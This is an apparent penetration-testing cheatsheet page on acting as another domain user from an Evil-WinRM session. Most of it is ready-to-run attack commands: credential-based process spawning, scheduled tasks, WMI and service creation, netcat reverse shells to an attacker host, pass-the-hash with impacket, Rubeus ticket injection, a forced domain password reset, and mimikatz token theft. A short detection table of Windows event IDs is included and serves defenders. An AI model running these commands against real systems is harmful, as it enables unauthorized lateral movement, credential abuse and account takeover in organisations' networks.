AD^:Active Directory

Run as Another User from an Evil-WinRM Session

You're local admin over WinRM but need to act as a different domain user — spawn processes, tasks, or loopback PowerShell sessions with alternate credentials.

intermediateupdated 2026-09-25Evil-WinRM · PowerShell · RunasCs · Rubeus

👤 Run as Another User from an Evil-WinRM Session


📖 How It Works

An evil-winrm session runs entirely in the context of the user you connected as — and WinRM gives you no interactive desktop, so runas /netonly and anything that pops a credential prompt will not work. Being local admin does not magically let you “switch user”: you must spawn a new process, service, scheduled task, or loopback PowerShell session using the target user’s credentials.

The catch: you need the target user’s password (or hash/Kerberos ticket) — admin rights alone don’t grant their token unless they have an active session on the box (see token theft at the bottom).

Typical scenario: you’re Administrator on the box, but the next step (Kerberos attack, share access, web service auth) only works as DOMAIN\lowpriv.


⚙️ Prerequisites

RequirementDetail
Evil-WinRM sessionConnected as local admin (or any user)
Target user’s cleartext passwordFor PSCredential / scheduled task methods
WinRM listening on localhostOnly for the Invoke-Command loopback method (usually true — you’re connected via it)

💻 Full Commands

🔴 Method 1 — Invoke-Command loopback (cleanest, output comes back)

# ── Build a credential object ─────────────────────────────────────────────────
$pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)

# ── Run a command as that user against localhost ─────────────────────────────
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {
  whoami
  klist        # shows THEIR Kerberos tickets, not yours
}

🔴 Method 2 — Start-Process (no console in WinRM → redirect output to a file)

$pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)

Start-Process -FilePath "cmd.exe" `
  -ArgumentList "/c whoami > C:\Temp\out.txt 2>&1" `
  -Credential $cred

Start-Sleep 2; type C:\Temp\out.txt

🔴 Method 3 — Scheduled task as the target user

# ── cmd one-liner ─────────────────────────────────────────────────────────────
schtasks /create /tn "UpdateCheck" /ru "CORP\lowpriv" /rp "P@ssword123!" `
  /sc once /st 23:59 /tr "cmd /c whoami > C:\Temp\out.txt"
schtasks /run /tn "UpdateCheck"
# then: type C:\Temp\out.txt  &&  schtasks /delete /tn "UpdateCheck" /f

# ── PowerShell equivalent ─────────────────────────────────────────────────────
$action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c whoami > C:\Temp\out.txt"
Register-ScheduledTask -TaskName "UpdateCheck" -Action $action `
  -User "CORP\lowpriv" -Password 'P@ssword123!'
Start-ScheduledTask -TaskName "UpdateCheck"

🔴 Method 4 — Reverse shell as the target user

# Listener on your box first:  nc -lvnp 443
$pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)

Start-Process -FilePath "C:\Temp\nc.exe" `
  -ArgumentList "10.10.14.5 443 -e cmd.exe" `
  -Credential $cred -WindowStyle Hidden
# The shell that lands runs as CORP\lowpriv

🔴 Method 5 — RunasCs.exe (captures output, no console needed)

RunasCs is a standalone binary built for exactly this problem: unlike native runas, it needs no interactive desktop and it hands the child process’s stdout back to you, so it fits a WinRM session cleanly. Upload the exe, then run a command as the target user.

# Output comes straight back — no file redirect
.\RunasCs.exe lowpriv 'P@ssword123!' "whoami /all" --domain CORP

# Reverse shell as that user (logon type 8 = NetworkCleartext keeps the creds usable on the network)
.\RunasCs.exe lowpriv 'P@ssword123!' -d CORP "C:\Temp\nc.exe 10.10.14.5 443 -e cmd.exe" --logon-type 8
FlagPurpose
-d, --domainTarget user’s domain (omit for a local account)
-l, --logon-type2 interactive · 3 network · 8 network-cleartext · 9 NewCredentials (runas /netonly equivalent)
--bypass-uacReturn a high-integrity token when the target user is a local admin
-r, --remote-impersonationReuse an existing logon session’s token instead of a new logon

🔴 Method 6 — WMI / service run as the target

$pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)

# WMI: the CIM session authenticates AS lowpriv, so the created process runs in that context
Invoke-CimMethod -ClassName Win32_Process -MethodName Create `
  -Arguments @{ CommandLine = 'cmd /c whoami > C:\Temp\out.txt' } `
  -CimSession (New-CimSession -ComputerName localhost -Credential $cred)
Start-Sleep 2; type C:\Temp\out.txt
:: A service's binPath runs under the account you set (needs local admin / SeCreateService).
:: obj= is the run-as account, password= its password.
sc.exe create svcx binPath= "cmd /c C:\Temp\nc.exe 10.10.14.5 443 -e cmd.exe" obj= "CORP\lowpriv" password= "P@ssword123!" start= demand
sc.exe start svcx
:: cleanup after the shell lands:  sc.exe delete svcx

🔴 Only have a hash or ticket? Skip the session entirely

# From Linux — no need to be "that user" on the box at all:
evil-winrm -i 10.10.10.10 -u lowpriv -H 2b576acbe6bcfda7294d6bd18041b8fe   # if they can WinRM
impacket-wmiexec 'CORP/lowpriv@10.10.10.10' -hashes :2b576acbe6bcfda7294d6bd18041b8fe
klist   # or request a TGT with impacket-getTGT and go the Kerberos route
# On the box with Rubeus — turn a hash or password into THEIR Kerberos ticket in your session.
# /ptt injects the TGT into the current logon; /createnetonly spawns a sacrificial process to hold it.
Rubeus.exe asktgt /user:lowpriv /rc4:2b576acbe6bcfda7294d6bd18041b8fe /domain:corp.local /ptt
Rubeus.exe asktgt /user:lowpriv /password:'P@ssword123!' /domain:corp.local /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
klist    # confirm lowpriv's TGT is now cached — Kerberos-authenticated access follows as that user

🔴 Worked example — ForceChangePassword abuse as another user

Scenario: your session user is admin on the box, but CORP\lowpriv (whose password you know) is the one holding ForceChangePassword over ssmalls. Reset ssmalls’ password in lowpriv’s context:

$pass = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $pass)

# ── Simplest: net user, no PowerView needed ───────────────────────────────────
Start-Process cmd.exe -Credential $cred `
  -ArgumentList '/c net user ssmalls Str0ngpass86! /domain > C:\Temp\out.txt 2>&1'
Start-Sleep 2; type C:\Temp\out.txt

# ── PowerView via -EncodedCommand (avoids nested-quote hell) ─────────────────
# *> redirects ALL streams (incl. Verbose) — plain > would swallow the confirmation
$cmd = "Import-Module C:\Temp\PowerView.ps1; Set-DomainUserPassword -Identity ssmalls -AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force) -Verbose *> C:\Temp\out.txt"
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
Start-Process powershell.exe -Credential $cred -ArgumentList "-NoProfile -EncodedCommand $enc"
Start-Sleep 3; type C:\Temp\out.txt

# ── Cleanest for PowerShell functions: Invoke-Command loopback ────────────────
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {
  Import-Module C:\Temp\PowerView.ps1
  Set-DomainUserPassword -Identity ssmalls `
    -AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force) -Verbose
}

💡 The reset hits the DC over the network, so any process carrying lowpriv’s credentials can do it — no interactive logon required. If your current session user already has the right, skip the wrapping and run Set-DomainUserPassword directly.


⚠️ Gotchas

  • runas doesn’t work over WinRM — /netonly spawns a process whose new token is only applied on next network use, and interactive runas prompts for a password on a console you don’t have. Use the methods above instead.
  • No console = no output — any process spawned with alternate creds has no visible window. Always redirect stdout/stderr to a file and read it back.
  • Double-hop problem — inside an Invoke-Command loopback, the inner session can’t delegate credentials to a third machine (CredSSP unless enabled). Access network resources from the outer session with -Credential, or use the hash from Linux.
  • Token theft alternative — if the target user has an active logon session on the box, steal their token instead of needing their password: incognito via Meterpreter, or mimikatz "token::elevate" "token::list" then run in that context.

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4624Security LogLogon Type 2/3/8/9 by a user who “never logs in” to that host (8/9 flag RunasCs netonly/cleartext)
4688Security Logcmd.exe/powershell.exe spawned with alternate credentials; unusual parent (services.exe, WmiPrvSE.exe)
4648Security LogExplicit credential logon (runas-style) — the strongest single signal for every method here
4698/4702Security LogScheduled task created/updated running as another user
4697 / 7045Security / System LogService installed with a per-account binPath (Method 6 sc.exe create … obj=)
4672Security LogSpecial privileges assigned — fires when the run-as token is a local admin

🧰 Troubleshooting

ProblemCause & fix
Enter-PSSession with new creds fails: “Access is denied”Non-admin users need explicit PSRemoting rights. The target account must be in Remote Management Users or have a matching Set-PSSessionConfiguration ACE
The user name or password is incorrect on a valid passwordWrong logon format. Use DOMAIN\user or user@domain.fqdn; a bare username resolves against the local SAM, not the domain
runas prompts interactively — no good over WinRMWinRM has no interactive desktop. Use Start-Process -Credential, a new PSSession, or Invoke-Command -Credential instead of runas
Invoke-Command -Credential gives a double-hop / access-denied to a third boxClassic Kerberos double-hop — your delegated creds do not forward. Use CredSSP, a fresh session from the target, or -Authentication Negotiate with explicit creds
Second-hop network resource (share/SQL) denies the run-as tokenThe token is network-logon only. Establish a full logon (Start-Process/scheduled task) so the secondary logon carries usable network credentials
Password has shell-breaking charactersBuild the credential object in code — ConvertTo-SecureString/PSCredential — rather than pasting the password on the command line

🔗 See Also

  • Windows Credential & Flag Hunting — where the password you are re-using usually comes from.
  • NetExec — run the same authenticated actions remotely without an interactive session.
  • Impacket — psexec.py / wmiexec.py / smbexec.py as the cross-platform equivalents of a run-as session.

✅ Run-as-another-user complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.